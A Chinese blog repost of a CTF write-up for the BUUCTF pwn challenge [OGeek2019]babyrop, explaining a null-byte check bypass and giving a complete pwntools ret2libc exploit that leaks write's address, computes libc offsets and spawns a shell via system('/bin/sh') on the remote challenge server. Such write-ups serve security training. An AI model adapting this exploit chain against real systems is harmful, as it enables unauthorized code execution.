Buuctf(pwn)[OGeek2019]babyrop
生活随笔
收集整理的這篇文章主要介紹了
Buuctf(pwn)[OGeek2019]babyrop
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
發(fā)現(xiàn)第二個函數(shù)有個read函數(shù),但它是0x20是不能夠構(gòu)成漏洞利用,只是利用它作為中間的一個簡單的輸出即可;
跳過if判定: 只需在第一次輸入時 在最前面加上 ‘\0’
a1上上一次返回的 buf[7]
這里的漏洞點利用, 要保證 a1的值盡可能的大, 這里選擇的是 ‘xff’ – 255
該題目已經(jīng)為我們提供了Libc
Exp可以這樣寫
from pwn import * p = remote("node3.buuoj.cn",29829) libc=ELF('libc-2.23.so') elf = ELF('./pwn1') write_plt = elf.plt['write'] write_got = elf.got['write'] main = 0x08048825 payload1 = "\0" + "\xff"*7 p.sendline(payload1) p.recvuntil("Correct\n") payload2 = "a"*0xe7+'a'*4 +p32(write_plt) +p32(main)+ p32(1)+p32(write_got)+p32(0x8) p.sendline(payload2) write_addr=u32(p.recv(4)) offset = write_addr - libc.sym['write'] system_addr=offset+libc.sym['system'] bin_sh_addr=offset+libc.search('/bin/sh').next() p.sendline(payload1) p.recvuntil('Correct\n') payload3 = "a"*0xe7 + 'a'*4 +p32(system_addr) + p32(0) + p32(bin_sh_addr) p.sendline(payload3) p.interactive()對思路或者Exp有疑問的歡迎留言?
總結(jié)
以上是生活随笔為你收集整理的Buuctf(pwn)[OGeek2019]babyrop的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 脚本中的关于‘/xff‘字符记录
- 下一篇: CTF(Pwn) 当题目为我们提供Lib